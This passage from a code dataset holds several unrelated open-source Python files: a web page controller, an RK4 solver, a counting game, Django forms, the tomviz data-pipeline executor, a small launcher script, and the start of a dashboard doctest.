site_helper.getModel('TopicComment')\n group_model = site_helper.getModel('Groups')\n user = user_model.get(user_id)\n if user is not None:\n env = {'pagination':'thirty items', 'where': ('Userid=%s',[user_id]), 'orderby':'Topicid desc'}\n topics = topic_model.getAll(env)\n for topic in topics:\n topic.author = user_model.get(topic.Userid)\n topic.comments_sum = topic_comment_model.getCount({'where': ('Topicid=%s',[topic.Topicid])})\n topic.group = group_model.get(topic.Groupsid)\n topic.summary = site_helper.getUnicodeSummary(topic.content, 150)\n topic.upload_images = userimg_model.gets('Topic', topic.Topicid)\n\n\n pagination_html = topic_model.getPaginationHtml(env)\n UserCtrl().writeBaseInfo(user)\n sub_content = site_helper.page_render_nobase.user.Topic(topics, pagination_html, user_id, datetime.datetime.now())\n return site_helper.page_render.user.Base2(user, sub_content)\n else:\n page_helper.redirect404()\n\n\n","repo_name":"ajiexw/old-zarkpy","sub_path":"web/cgi/pagecontroller/user/Topic.py","file_name":"Topic.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"9960266580","text":"\n# #---------------------------------------------------------------------------\n# RK4 Runge-Kutta solution for y' = f(t,y) with y(0) = X0. (a = 0)\n# Sample call\n# [T,Y] = rk4('f',a,b,X0,m,options)\n# Inputs\n# feval name of the function\n# a left endpoint of [a,b]\n# b right endpoint of [a,b]\n# X0 initial value\n# m number of steps\n# options other things passed through in a struct\n# Return\n# T solution: vector of abscissas\n# Y solution: vector of ordinates\n#--------------------------------------------------------------------------\n\n\nimport numpy as np\nfrom scfun import scfun\nimport pdb\n\ndef norm( input ):\n norm = np.sqrt(sum(np.square(input)))\n return norm\n\n\nfeval = scfun\n\n\ndef rk4(a, bb, x, m, sbr, wbr, K, P):\n a = a\n b = bb\n x0 = x.reshape(6)\n m = m\n sbr = sbr\n wbr = wbr\n\n m = int(round(m))\n CC = np.zeros(6)\n\n h = (b - a) / m \n t = np.zeros([1, m+1])\n t[0, 0] = a\n y = np.column_stack((x0, CC))\n\n for jj in range(m):\n\n # Basic Runge-Kutta algorithim\n yjj = y[0:6, jj].transpose()\n k1 = h*feval(yjj, sbr, wbr, K, P)\n\n k2 = h * feval(yjj+k1/2, sbr, wbr, K, P)\n\n k3 = h * feval(yjj+k2/2, sbr, wbr, K, P)\n\n k4 = h * feval(yjj+k3, sbr, wbr, K, P)\n\n y[0:6, jj+1] = yjj + (k1 + 2 * k2 + 2 * k3 + k4) / 6\n\n # Checking the magnitude and switching to the shadow set if needed\n s = norm(y[0:3, jj+1])\n if s > 1:\n y[0:3, jj+1] = -y[0:3, jj+1] / (s**2)\n\n return y[..., jj+1]\n","repo_name":"atharris/DINO_CREx","sub_path":"DINObatch/AttitudeDet/rk4.py","file_name":"rk4.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"} +{"seq_id":"32052539969","text":"#입력받음\r\nnumber_of_times = int(input(\"몇번할까 : \"))\r\nplayer_of_number = int(input(\"몇 명? : \"))\r\n\r\n#플레이어 리스트 생성\r\nplayer_list = []\r\n\r\n#플레이어 리스트 작성\r\nfor i in range(1, player_of_number+1):\r\n player_list.append(input(str(i) + \"번째 플레이어 이름: \"))\r\n\r\n#게임시작\r\nfor j in range(1, number_of_times+1):\r\n #짝을 출력하는 횟수 계산\r\n jjack_count = 0\r\n for k in str(j):\r\n rest = int(k) % 3\r\n if not rest and k != \"0\":\r\n jjack_count = jjack_count + 1\r\n\r\n #플레이어 순서대로\r\n player_name = player_list[(j-1) % player_of_number] + \": \"\r\n #출력\r\n if jjack_count:\r\n print(player_name + \"짝\"*jjack_count)\r\n else :\r\n print(player_name + str(j))","repo_name":"M4ndU/study","sub_path":"369game.py","file_name":"369game.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"9703597479","text":"from django import forms\nfrom django.contrib.auth.models import User\nfrom django.forms.utils import ErrorList\nfrom django.forms import BaseFormSet\nimport datetime\n\n#Custom error messages\nclass CustomError(ErrorList):\n def as_ul(self):\n if not self:\n return ''\n return '
      %s
    ' % ''.join(['
  • %s
  • ' % e for e in self])\n\n#Custom formset\nclass RequiredFormSet(BaseFormSet):\n def __init__(self, *args, **kwargs):\n super(RequiredFormSet, self).__init__(*args, **kwargs)\n for form in self.forms:\n form.empty_permitted = False\n\n#Forms\nclass workout_form(forms.Form):\n date = forms.DateField(\n initial=datetime.date.today,\n label='Date',\n widget=forms.SelectDateWidget(\n attrs={'class':'form-control'}\n )\n )\n num_exercises = forms.IntegerField(\n max_value=100,\n min_value=1,\n label='Number of Exercises',\n widget=forms.NumberInput(\n attrs={'class':'form-control'}\n )\n )\n\nclass exercise_form(forms.Form):\n name = forms.CharField(\n max_length=100,\n label='Name',\n widget=forms.TextInput(\n attrs={'class':'form-control', 'required':''}\n )\n )\n sets = forms.IntegerField(\n max_value=100,\n min_value=1,\n label='Sets',\n widget=forms.NumberInput(\n attrs={'class':'form-control', 'required':''}\n )\n )\n reps = forms.IntegerField(\n max_value=100,\n min_value=1,\n label='Reps',\n widget=forms.NumberInput(\n attrs={'class':'form-control', 'required':''}\n )\n )\n weight = forms.IntegerField(\n max_value=10000,\n min_value=0,\n label='Weight',\n widget=forms.NumberInput(\n attrs={'class':'form-control', 'required':''}\n )\n )\n\nclass edit_profile_form(forms.Form):\n username = forms.CharField(\n max_length=100,\n label='Username',\n required=False,\n widget=forms.TextInput(\n attrs={'class':'form-control borderless text-center p-0 shadow-none', 'style':'outline: none !important; background: none; font-size: 30px;'}\n )\n )\n first_name = forms.CharField(\n max_length=100,\n label='First Name',\n required=False,\n widget=forms.TextInput(\n attrs={'class':'form-control borderless text-center p-0 shadow-none', 'style':'outline: none !important; background: none; font-size: 20px;'}\n )\n )\n last_name = forms.CharField(\n max_length=100,\n label='Last Name',\n required=False,\n widget=forms.TextInput(\n attrs={'class':'form-control borderless text-center p-0 shadow-none', 'style':'outline: none !important; background: none; font-size: 20px;'}\n )\n )\n\n def __init__(self, username_placeholder, first_name_placeholder, last_name_placeholder, *args, **kwargs):\n super(edit_profile_form, self).__init__(*args, **kwargs)\n self.fields[\"username\"].widget.attrs['placeholder'] = \"username\" if username_placeholder == \"\" else username_placeholder\n self.fields[\"first_name\"].widget.attrs['placeholder'] = \"first name\" if first_name_placeholder == \"\" else first_name_placeholder\n self.fields[\"last_name\"].widget.attrs['placeholder'] = \"last name\" if last_name_placeholder == \"\" else last_name_placeholder\n\n def clean_username(self):\n username = self.cleaned_data['username']\n\n if username == \"\":\n return username\n\n if User.objects.filter(username=username).exists():\n raise forms.ValidationError(f\"Username {username} is already in use!\")\n return username\n","repo_name":"NickGalindo/EDA-LevelUp","sub_path":"LevelUp/LevelUp/apps/userprofiles/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"6816267306","text":"import collections\nimport copy\nimport h5py\nimport importlib\nimport os\nimport numpy as np\nimport logging\nimport tempfile\nimport socket\nimport abc\nimport stat\nimport json\nimport six\nimport errno\n\nfrom tqdm import tqdm\n\nfrom tomviz._internal import find_transform_function\n\nfrom tomviz.external_dataset import Dataset\n\nLOG_FORMAT = '[%(asctime)s] %(levelname)s: %(message)s'\n\nlogger = logging.getLogger('tomviz')\nlogger.setLevel(logging.INFO)\nstream_handler = logging.StreamHandler()\nformatter = logging.Formatter(LOG_FORMAT)\nstream_handler.setFormatter(formatter)\nlogger.addHandler(stream_handler)\n\nDIMS = ['dim1', 'dim2', 'dim3']\nANGLE_UNITS = [b'[deg]', b'[rad]']\n\nDim = collections.namedtuple('Dim', 'path values name units')\n\n\nclass ProgressBase(object):\n def started(self, op=None):\n self._operator_index = op\n\n def finished(self, op=None):\n pass\n\n\nclass TqdmProgress(ProgressBase):\n \"\"\"\n Class used to update operator progress. This replaces the C++ bound one that\n is used inside the Qt applicaition.\n \"\"\"\n\n def __init__(self):\n self._maximum = None\n self._value = None\n self._message = None\n self._progress_bar = None\n\n @property\n def maximum(self):\n \"\"\"\n Property defining the maximum progress value\n \"\"\"\n return self._maximum\n\n @maximum.setter\n def maximum(self, value):\n self._progress_bar = tqdm(total=value)\n self._maximum = value\n\n @property\n def value(self):\n \"\"\"\n Property defining the current progress value\n \"\"\"\n return self._value\n\n @value.setter\n def value(self, value):\n \"\"\"\n Updates the progress of the the operator.\n\n :param value The current progress value.\n :type value: int\n \"\"\"\n self._progress_bar.update(value - self._progress_bar.n)\n self._value = value\n\n @property\n def message(self):\n \"\"\"\n Property defining the current progress message\n \"\"\"\n return self._message\n\n @message.setter\n def message(self, msg):\n \"\"\"\n Updates the progress message of the the operator.\n\n :param msg The current progress message.\n :type msg: str\n \"\"\"\n self._progress_bar.set_description(msg)\n self._message = msg\n\n def __enter__(self):\n return self\n\n def __exit__(self, *exc):\n if self._progress_bar is not None:\n self._progress_bar.close()\n\n return False\n\n def finished(self, op=None):\n if self._progress_bar is not None:\n self._progress_bar.close()\n\n\nclass JsonProgress(ProgressBase, metaclass=abc.ABCMeta):\n \"\"\"\n Abstract class used to update operator progress using JSON based messages.\n \"\"\"\n\n @abc.abstractmethod\n def write(self, data):\n \"\"\"\n Method the write JSON progress message. Implemented by subclass.\n \"\"\"\n\n @abc.abstractmethod\n def write_to_file(self, data):\n \"\"\"\n Write data to write and return path. Implemented by subclass.\n \"\"\"\n\n def set_operator_index(self, index):\n self._operator_index = index\n\n @property\n def maximum(self):\n \"\"\"\n Property defining the maximum progress value\n \"\"\"\n return self._maximum\n\n @maximum.setter\n def maximum(self, value):\n msg = {\n 'type': 'progress.maximum',\n 'operator': self._operator_index,\n 'value': value\n }\n self.write(msg)\n self._maximum = value\n\n @property\n def value(self):\n \"\"\"\n Property defining the current progress value\n \"\"\"\n return self._value\n\n @value.setter\n def value(self, value):\n \"\"\"\n Updates the progress of the the operator.\n\n :param value The current progress value.\n :type value: int\n \"\"\"\n msg = {\n 'type': 'progress.step',\n 'operator': self._operator_index,\n 'value': value\n }\n self.write(msg)\n\n self._value = value\n\n @property\n def message(self):\n \"\"\"\n Property defining the current progress message\n \"\"\"\n return self._message\n\n @message.setter\n def message(self, msg):\n \"\"\"\n Updates the progress message of the the operator.\n\n :param msg The current progress message.\n :type msg: str\n \"\"\"\n m = {\n 'type': 'progress.message',\n 'operator': self._operator_index,\n 'value': msg\n }\n self.write(m)\n\n self._message = msg\n\n @property\n def data(self):\n return self._data\n\n @data.setter\n def data(self, value):\n \"\"\"\n Updates the progress of the the operator.\n\n :param data The current progress data value.\n :type value: numpy.ndarray\n \"\"\"\n path = self.write_to_file(value)\n msg = {\n 'type': 'progress.data',\n 'operator': self._operator_index,\n 'value': path\n }\n self.write(msg)\n self._data = value\n\n def __enter__(self):\n return self\n\n def __exit__(self, *exc):\n return False\n\n def started(self, op=None):\n super(JsonProgress, self).started(op)\n msg = {\n 'type': 'started'\n }\n\n if op is not None:\n msg['operator'] = op\n\n self.write(msg)\n\n def finished(self, op=None):\n super(JsonProgress, self).started(op)\n msg = {\n 'type': 'finished'\n }\n\n if op is not None:\n msg['operator'] = op\n\n self.write(msg)\n\n\nclass WriteToFileMixin(object):\n def write_to_file(self, dataobject):\n filename = '%d.emd' % self._sequence_number\n path = os.path.join(os.path.dirname(self._path), filename)\n _write_emd(path, dataobject)\n self._sequence_number += 1\n\n return filename\n\n\nclass LocalSocketProgress(WriteToFileMixin, JsonProgress):\n \"\"\"\n Class used to update operator progress. Connects to QLocalServer and writes\n JSON message updating the UI on pipeline progress.\n \"\"\"\n\n def __init__(self, socket_path):\n self._maximum = None\n self._value = None\n self._message = None\n self._connection = None\n self._path = socket_path\n self._sequence_number = 0\n\n try:\n mode = os.stat(self._path).st_mode\n if stat.S_ISSOCK(mode):\n self._uds_connect()\n else:\n raise Exception('Invalid progress path type.')\n\n except OSError:\n raise Exception('TqdmProgress path doesn\\'t exist')\n\n def _uds_connect(self):\n self._connection = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n self._connection.connect(self._path)\n\n def write(self, data):\n data = ('%s\\n' % json.dumps(data)).encode('utf8')\n if isinstance(self._connection, socket.socket):\n self._connection.sendall(data)\n else:\n self._connection.write(data)\n\n def __exit__(self, *exc):\n if self._connection is not None:\n self._connection.close()\n\n return False\n\n\nclass FilesProgress(WriteToFileMixin, JsonProgress):\n \"\"\"\n Class used to update operator progress by writing a sequence of files to a\n directory.\n \"\"\"\n def __init__(self, path):\n self._path = path\n self._sequence_number = 0\n\n def write(self, data):\n file_path = os.path.join(self._path,\n 'progress%d' % self._sequence_number)\n self._sequence_number += 1\n\n with open(file_path, 'w') as f:\n json.dump(data, f)\n\n return filename\n\n\ndef _progress(progress_method, progress_path):\n if progress_method == 'tqdm':\n return TqdmProgress()\n elif progress_method == 'socket':\n return LocalSocketProgress(progress_path)\n elif progress_method == 'files':\n return FilesProgress(progress_path)\n else:\n raise Exception('Unrecognized progress method: %s' % progress_method)\n\n\nclass OperatorWrapper(object):\n canceled = False\n\n\ndef _load_operator_module(label, script):\n # Load the operator module, we write the code to a temporary file before\n # using importlib to do the loading ( couldn't figure a way to directly\n # load a module from a string).\n fd = None\n path = None\n\n try:\n (fd, path) = tempfile.mkstemp(suffix='.py', text=True)\n os.write(fd, script.encode())\n os.close(fd)\n fd = None\n\n spec = importlib.util.spec_from_file_location(label, path)\n operator_module = importlib.util.module_from_spec(spec)\n spec.loader.exec_module(operator_module)\n\n finally:\n if fd is not None:\n os.close(fd)\n if path is not None:\n os.unlink(path)\n\n return operator_module\n\n\ndef _read_dataset(dataset, options=None):\n if options is None or 'subsampleSettings' not in options:\n return dataset[:]\n\n strides = options.get('subsampleSettings', {}).get('strides', [1] * 3)\n bnds = options.get('subsampleSettings', {}).get('volumeBounds', [-1] * 6)\n\n if len(bnds) != 6 or any(x < 0 for x in bnds):\n # Set the default bounds\n for i in range(3):\n bnds[i * 2] = 0\n bnds[i * 2 + 1] = dataset.shape[i]\n\n # These slice specifications are forwarded directly to the HDF5\n # \"hyperslab\" selections, and it loads only the data requested.\n return dataset[bnds[0]:bnds[1]:strides[0],\n bnds[2]:bnds[3]:strides[1],\n bnds[4]:bnds[5]:strides[2]]\n\n\ndef _swap_dims(dims, i, j):\n # Keeps the paths the same, but swaps everything else\n tmp = Dim(dims[i].path, dims[j].values, dims[j].name, dims[j].units)\n dims[j] = Dim(dims[j].path, dims[i].values, dims[i].name, dims[i].units)\n dims[i] = tmp\n\n\ndef _read_emd(path, options=None):\n with h5py.File(path, 'r') as f:\n tomography = f['data/tomography']\n\n dims = []\n for dim in DIMS:\n dims.append(Dim(dim,\n tomography[dim][:],\n tomography[dim].attrs['name'][0],\n tomography[dim].attrs['units'][0]))\n\n data = tomography['data']\n # We default the name to ImageScalars\n name = data.attrs.get('name', 'ImageScalars')\n if isinstance(name, (np.ndarray, list, tuple)):\n name = name[0]\n\n if isinstance(name, (bytes, bytearray)):\n name = name.decode()\n\n arrays = [(name, _read_dataset(data, options))]\n\n # See if we have any additional channels\n tomviz_scalars = tomography.get('tomviz_scalars')\n if isinstance(tomviz_scalars, h5py.Group):\n # Only get hard linked datasets, since there is likely a\n # soft link pointing to \"/data/tomography/data\".\n def is_hard_link(name):\n link = tomviz_scalars.get(name, getlink=True)\n return isinstance(link, h5py.HardLink)\n\n keys = list(filter(is_hard_link, tomviz_scalars.keys()))\n # Get the datasets\n channel_datasets = [\n (key, _read_dataset(tomviz_scalars[key], options))\n for key in keys\n ]\n arrays += channel_datasets\n\n # If this is a tilt series, swap the X and Z axes\n tilt_axis = None\n if dims[0].name == b'angles' or dims[0].units in ANGLE_UNITS:\n arrays = [(name, np.transpose(data, [2, 1, 0])) for (name, data)\n in arrays]\n\n # Swap the first and last dims\n _swap_dims(dims, 0, -1)\n tilt_axis = 2\n\n # EMD stores data as row major order. VTK expects column major order.\n arrays = [(name, np.asfortranarray(data)) for (name, data) in arrays]\n\n output = {\n 'arrays': arrays,\n 'dims': dims,\n 'tilt_axis': tilt_axis,\n 'metadata': {},\n }\n\n if dims is not None and dims[-1].name == b'angles':\n output['tilt_angles'] = dims[-1].values[:].astype(np.float64)\n\n return output\n\n\ndef _get_arrays_for_writing(dataset):\n tilt_angles = dataset.tilt_angles\n tilt_axis = dataset.tilt_axis\n active_array = dataset.active_scalars\n\n # Separate out the extra channels/arrays as we store them separately\n extra_arrays = {name: array for name, array\n in dataset.arrays.items()\n if id(array) != id(active_array)}\n\n # If this is a tilt series, swap the X and Z axes\n if tilt_angles is not None and tilt_axis == 2:\n active_array = np.transpose(active_array, [2, 1, 0])\n extra_arrays = {name: np.transpose(array, [2, 1, 0]) for (name, array)\n in extra_arrays.items()}\n\n # Switch back to row major order for EMD stores\n active_array = np.ascontiguousarray(active_array)\n extra_arrays = {name: np.ascontiguousarray(array) for (name, array)\n in extra_arrays.items()}\n\n # We can't do 16 bit floats, so up the size if they are 16 bit\n if active_array.dtype == np.float16:\n active_array = active_array.astype(np.float32)\n for key, value in extra_arrays.items():\n if value.dtype == np.float16:\n extra_arrays[key] = value.astype(np.float32)\n\n return active_array, extra_arrays\n\n\ndef _get_dims_for_writing(dataset, data, default_dims=None):\n tilt_angles = dataset.tilt_angles\n tilt_axis = dataset.tilt_axis\n spacing = dataset.spacing\n\n if default_dims is None:\n # Set the default dims\n dims = []\n names = ['x', 'y', 'z']\n\n for i, name in enumerate(names):\n values = np.array(range(data.shape[i]))\n dims.append(Dim('dim%d' % (i+1), values, name, '[n_m]'))\n else:\n # Make a deep copy to modify\n dims = copy.deepcopy(default_dims)\n\n # Override the dims if spacing is set\n if spacing is not None:\n for i, dim in enumerate(dims):\n end = data.shape[i] * spacing[i]\n res = np.arange(0, end, spacing[i])\n dims[i] = Dim(dim.path, res, dim.name, dim.units)\n\n if tilt_angles is not None:\n if tilt_axis == 2:\n # Swap the first and last dims\n _swap_dims(dims, 0, -1)\n\n units = dims[0].units if dims[0].units in ANGLE_UNITS else '[deg]'\n\n # Make the x axis the tilt angles\n dims[0] = Dim(dims[0].path, tilt_angles, 'angles', units)\n else:\n # In case the input was a tilt series, make the first dim x,\n # and the units [n_m]\n if dims[0].name == 'angles':\n dims[0].name = 'x'\n dims[0].units = '[n_m]'\n\n return dims\n\n\ndef _write_emd(path, dataset, dims=None):\n active_array, extra_arrays = _get_arrays_for_writing(dataset)\n\n with h5py.File(path, 'w') as f:\n f.attrs.create('version_major', 0, dtype='uint32')\n f.attrs.create('version_minor', 2, dtype='uint32')\n data_group = f.create_group('data')\n tomography_group = data_group.create_group('tomography')\n tomography_group.attrs.create('emd_group_type', 1, dtype='uint32')\n data = tomography_group.create_dataset('data', data=active_array)\n data.attrs['name'] = np.string_(dataset.active_name)\n\n dims = _get_dims_for_writing(dataset, data, dims)\n\n # add dimension vectors\n for dim in dims:\n d = tomography_group.create_dataset(dim.path, dim.values.shape)\n d.attrs['name'] = np.string_(dim.name)\n d.attrs['units'] = np.string_(dim.units)\n d[:] = dim.values\n\n # If we have extra scalars add them under tomviz_scalars\n tomviz_scalars = tomography_group.create_group('tomviz_scalars')\n if extra_arrays:\n for (name, array) in extra_arrays.items():\n tomviz_scalars.create_dataset(name, data=array)\n\n # Create a soft link to the active array\n active_name = dataset.active_name\n tomviz_scalars[active_name] = h5py.SoftLink('/data/tomography/data')\n\n\ndef _read_data_exchange(path, options=None):\n with h5py.File(path, 'r') as f:\n g = f['/exchange']\n\n dataset_names = ['data', 'data_dark', 'data_white', 'theta']\n datasets = {}\n for name in dataset_names:\n if name in g:\n # Don't read theta with subsample options\n if name == 'theta':\n datasets[name] = g[name][:]\n continue\n\n datasets[name] = _read_dataset(g[name], options)\n\n # Data Exchange stores data as row major order.\n # VTK expects column major order.\n if options is None:\n to_fortran = True\n else:\n to_fortran = not options.get('keep_c_ordering', False)\n\n if to_fortran:\n datasets = {name: np.asfortranarray(data)\n for (name, data) in datasets.items()}\n\n if 'theta' in datasets:\n # Swap x and z axes\n swap_keys = ['data', 'data_dark', 'data_white']\n for key in swap_keys:\n datasets[key] = np.transpose(datasets[key], [2, 1, 0])\n\n tilt_axis = None\n if 'theta' in datasets:\n tilt_axis = 2 if to_fortran else 0\n\n output = {\n 'arrays': [('data', datasets.get('data'))],\n 'data_dark': datasets.get('data_dark'),\n 'data_white': datasets.get('data_white'),\n 'tilt_angles': datasets.get('theta'),\n 'tilt_axis': tilt_axis,\n 'metadata': {},\n }\n\n return output\n\n\ndef _is_data_exchange(path):\n # It must have an HDF5 extension\n exts = ['.h5', '.hdf5']\n if not any([path.suffix.lower() == x for x in exts]):\n return False\n\n # Open it up and make sure /exchange/data exists\n with h5py.File(path, 'r') as f:\n return '/exchange/data' in f\n\n\ndef _execute_transform(operator_label, transform, arguments, input, progress,\n dataset_dependencies):\n # Update the progress attribute to an instance that will work outside the\n # application and give use a nice progress information.\n spinner = None\n supports_progress = hasattr(transform, '__self__')\n if supports_progress:\n transform.__self__.progress = progress\n\n # Stub out the operator wrapper\n transform.__self__._operator_wrapper = OperatorWrapper()\n\n logger.info('Executing \\'%s\\' operator' % operator_label)\n if not supports_progress:\n print('Operator doesn\\'t support progress updates.')\n\n # Convert any data source id arguments here into Dataset objects.\n for k, v in arguments.items():\n if isinstance(v, str) and v.startswith('0x'):\n arguments[k] = dataset_dependencies[v]\n\n result = None\n # Special cases for marking as volume or tilt series\n if operator_label == 'ConvertToVolume':\n # Easy peasy\n input.tilt_angles = None\n elif operator_label == 'SetTiltAngles':\n # Set the tilt angles so downstream operator can retrieve them\n # arguments the tilt angles.\n input.tilt_angles = np.array(arguments['angles']).astype(np.float64)\n else:\n # Now run the operator\n result = transform(input, **arguments)\n if spinner is not None:\n update_spinner.cancel()\n spinner.finish()\n\n return result\n\n\ndef _load_transform_functions(operators):\n transform_functions = []\n for operator in operators:\n # Special case for marking as volume or tilt series\n if operator['type'] == 'ConvertToVolume':\n transform_functions.append((operator['type'], None, {}))\n continue\n elif operator['type'] == 'SetTiltAngles':\n # Just save the angles\n angles = {'angles': [float(a) for a in operator['angles']]}\n transform_functions.append((operator['type'], None, angles))\n continue\n\n if 'script' not in operator:\n raise Exception(\n 'No script property found. C++ operator are not supported.')\n\n operator_script = operator['script']\n operator_label = operator['label']\n\n operator_module = _load_operator_module(operator_label, operator_script)\n transform = find_transform_function(operator_module)\n\n # partial apply the arguments\n arguments = {}\n if 'arguments' in operator:\n arguments = operator['arguments']\n\n transform_functions.append((operator_label, transform, arguments))\n\n return transform_functions\n\n\ndef _write_child_data(result, operator_index, output_file_path, dims):\n for (label, dataobject) in six.iteritems(result):\n # Only need write out data if the operator made updates.\n output_path = '.'\n if output_file_path is not None:\n output_path = os.path.dirname(output_file_path)\n\n # Make a directory with the operator index\n operator_path = os.path.join(output_path, str(operator_index))\n try:\n stat_result = os.stat(output_path)\n os.makedirs(operator_path)\n # We need to chown to the user and group who owns the output\n # path ( for docker execution )\n os.chown(operator_path, stat_result.st_uid, stat_result.st_gid)\n except OSError as exc:\n if exc.errno == errno.EEXIST and os.path.isdir(operator_path):\n pass\n else:\n raise\n\n # Now write out the data\n child_data_path = os.path.join(operator_path, '%s.emd' % label)\n _write_emd(child_data_path, dataobject, dims)\n\n\ndef load_dataset(data_file_path, read_options=None):\n if _is_data_exchange(data_file_path):\n output = _read_data_exchange(data_file_path, read_options)\n else:\n # Assume it is emd\n output = _read_emd(data_file_path, read_options)\n\n arrays = output['arrays']\n dims = output.get('dims')\n metadata = output.get('metadata', {})\n\n # The first is the active array\n (active_array, _) = arrays[0]\n # Create dict of arrays\n arrays = {name: array for (name, array) in arrays}\n\n data = Dataset(arrays, active_array)\n data.file_name = os.path.abspath(data_file_path)\n data.metadata = metadata\n\n if 'data_dark' in output:\n data.dark = output['data_dark']\n if 'data_white' in output:\n data.white = output['data_white']\n if 'tilt_angles' in output:\n data.tilt_angles = output['tilt_angles']\n if 'tilt_axis' in output:\n data.tilt_axis = output['tilt_axis']\n if dims is not None:\n # Convert to native type, as is required by itk\n data.spacing = [float(d.values[1] - d.values[0]) for d in dims]\n\n data.dims = dims\n\n return data\n\n\ndef run_pipeline(data, operators, start_at, progress, child_output_path=None,\n dataset_dependencies=None):\n\n dims = data.dims\n operators = operators[start_at:]\n transforms = _load_transform_functions(operators)\n\n operator_index = start_at\n for (label, transform, arguments) in transforms:\n progress.started(operator_index)\n result = _execute_transform(label, transform, arguments, data,\n progress, dataset_dependencies)\n\n # Do we have any child data sources we need to write out?\n if child_output_path and result is not None:\n _write_child_data(result, operator_index, child_output_path, dims)\n\n progress.finished(operator_index)\n operator_index += 1\n\n logger.info('Execution complete.')\n\n return result\n\n\ndef execute(operators, start_at, data_file_path, output_file_path,\n progress_method, progress_path, read_options=None,\n dataset_dependencies=None):\n\n if dataset_dependencies is None:\n dataset_dependencies = {}\n\n child_output_path = output_file_path\n if child_output_path is None:\n child_output_path = '.'\n\n data = load_dataset(data_file_path, read_options)\n dims = data.dims\n\n with _progress(progress_method, progress_path) as progress:\n progress.started()\n\n # Run the pipeline\n result = run_pipeline(data, operators, start_at, progress,\n child_output_path, dataset_dependencies)\n\n # Now write out the transformed data.\n logger.info('Writing transformed data.')\n if output_file_path is None:\n output_file_path = '%s_transformed.emd' % \\\n os.path.splitext(os.path.basename(data_file_path))[0]\n\n if result is None:\n _write_emd(output_file_path, data, dims)\n else:\n [(_, child_data)] = result.items()\n _write_emd(output_file_path, child_data, dims)\n\n logger.info('Write complete.')\n progress.finished()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"OpenChemistry/tomviz","sub_path":"tomviz/python/tomviz/executor.py","file_name":"executor.py","file_ext":"py","file_size_in_byte":24931,"program_lang":"python","lang":"en","doc_type":"code","stars":304,"dataset":"github-code","pt":"38"} +{"seq_id":"36563608094","text":"import os\nimport subprocess\n\n# Get the current directory\ncurrent_directory = os.path.dirname(__file__)\n\n# Path to the \"Content\" folder\ncontent_folder_path = os.path.join(current_directory, 'Content')\n\n# Path to the specific .exe file inside the \"Content\" folder\nexe_file_path = os.path.join(content_folder_path, 'HTML5LaunchHelper.exe')\n\n# Path to the HTML file you want to open (in the same folder as the script)\nhtml_file_path = os.path.join(current_directory, 'index.html')\n\ntry:\n # Open the specific .exe file\n subprocess.Popen([exe_file_path])\n\n # Open the HTML file using the default web browser\n os.system(f'start {html_file_path}')\n\nexcept Exception as e:\n print(f\"An error occurred: {e}\")","repo_name":"briancheagney/GovChallenge","sub_path":"VotingLine/OpenVotingLines.py","file_name":"OpenVotingLines.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"12966026789","text":"\"\"\"\n\nInvolved usage example:\n\n>>> from pydash_app.dashboard.entity import Dashboard\n>>> from pydash_app.user.entity import User\n>>> from pydash_app.dashboard.endpoint import Endpoint\n>>> from pydash_app.dashboard.endpoint_call import EndpointCall\n>>> import uuid\n>>> from datetime import datetime, timedelta\n>>> user = User(\"Gandalf\", \"pass\", 'some@email.com')\n>>> d = Dashboard(\"http://foo.io\", str(uuid.uuid4()), str(user.id))\n>>> e1 = Endpoint(\"foo\", True)\n>>> e2 = Endpoint(\"bar\", True)\n>>> d.add_endpoint(e1)\n>>> d.add_endpoint(e2)\n>>> ec1 = EndpointCall(\"foo\", 0.5, datetime.strptime(\"2018-04-25 15:29:23\", \"%Y-%m-%d %H:%M:%S\"), \"0.1\", \"None\", \"127.0.0.1\")\n>>> ec2 = EndpointCall(\"foo\", 0.1, datetime.strptime(\"2018-04-25 15:29:23\", \"%Y-%m-%d %H:%M:%S\"), \"0.1\", \"None\", \"127.0.0.2\")\n>>> ec3 = EndpointCall(\"bar\", 0.2, datetime.strptime(\"2018-04-25 15:29:23\", \"%Y-%m-%d %H:%M:%S\"), \"0.1\", \"None\", \"127.0.0.1\")\n>>> ec4 = EndpointCall(\"bar\", 0.2, datetime.strptime(\"2018-04-25 15:29:23\", \"%Y-%m-%d %H:%M:%S\") - timedelta(days=1), \"0.1\", \"None\", \"127.0.0.1\")\n>>> ec5 = EndpointCall(\"bar\", 0.2, datetime.strptime(\"2018-04-25 15:29:23\", \"%Y-%m-%d %H:%M:%S\") - timedelta(days=2), \"0.1\", \"None\", \"127.0.0.1\")\n>>> d.add_endpoint_call(ec1)\n>>> d.add_endpoint_call(ec2)\n>>> d.add_endpoint_call(ec3)\n>>> d.add_endpoint_call(ec4)\n>>> d.add_endpoint_call(ec5)\n>>> d.aggregated_data()\n{'total_visits': 5, 'total_execution_time': 1.2, 'average_execution_time': 0.24, 'visits_per_ip': {'127.0.0.1': 4, '127.0.0.2': 1}, 'unique_visitors': 2, 'fastest_measured_execution_time': 0.1, 'fastest_quartile_execution_time': 0.14, 'median_execution_time': 0.2, 'slowest_quartile_execution_time': 0.39, 'ninetieth_percentile_execution_time': 0.5, 'ninety-ninth_percentile_execution_time': 0.5, 'slowest_measured_execution_time': 0.5, 'versions': ['0.1']}\n>>> d.endpoints['foo'].aggregated_data()\n{'total_visits': 2, 'total_execution_time': 0.6, 'average_execution_time': 0.3, 'visits_per_ip': {'127.0.0.1': 1, '127.0.0.2': 1}, 'unique_visitors': 2, 'fastest_measured_execution_time': 0.1, 'fastest_quartile_execution_time': 0.1, 'median_execution_time': 0.3, 'slowest_quartile_execution_time': 0.5, 'ninetieth_percentile_execution_time': 0.5, 'ninety-ninth_percentile_execution_time': 0.5, 'slowest_measured_execution_time': 0.5, 'versions': ['0.1']}\n>>> d.endpoints['bar'].aggregated_data()\n{'total_visits': 3, 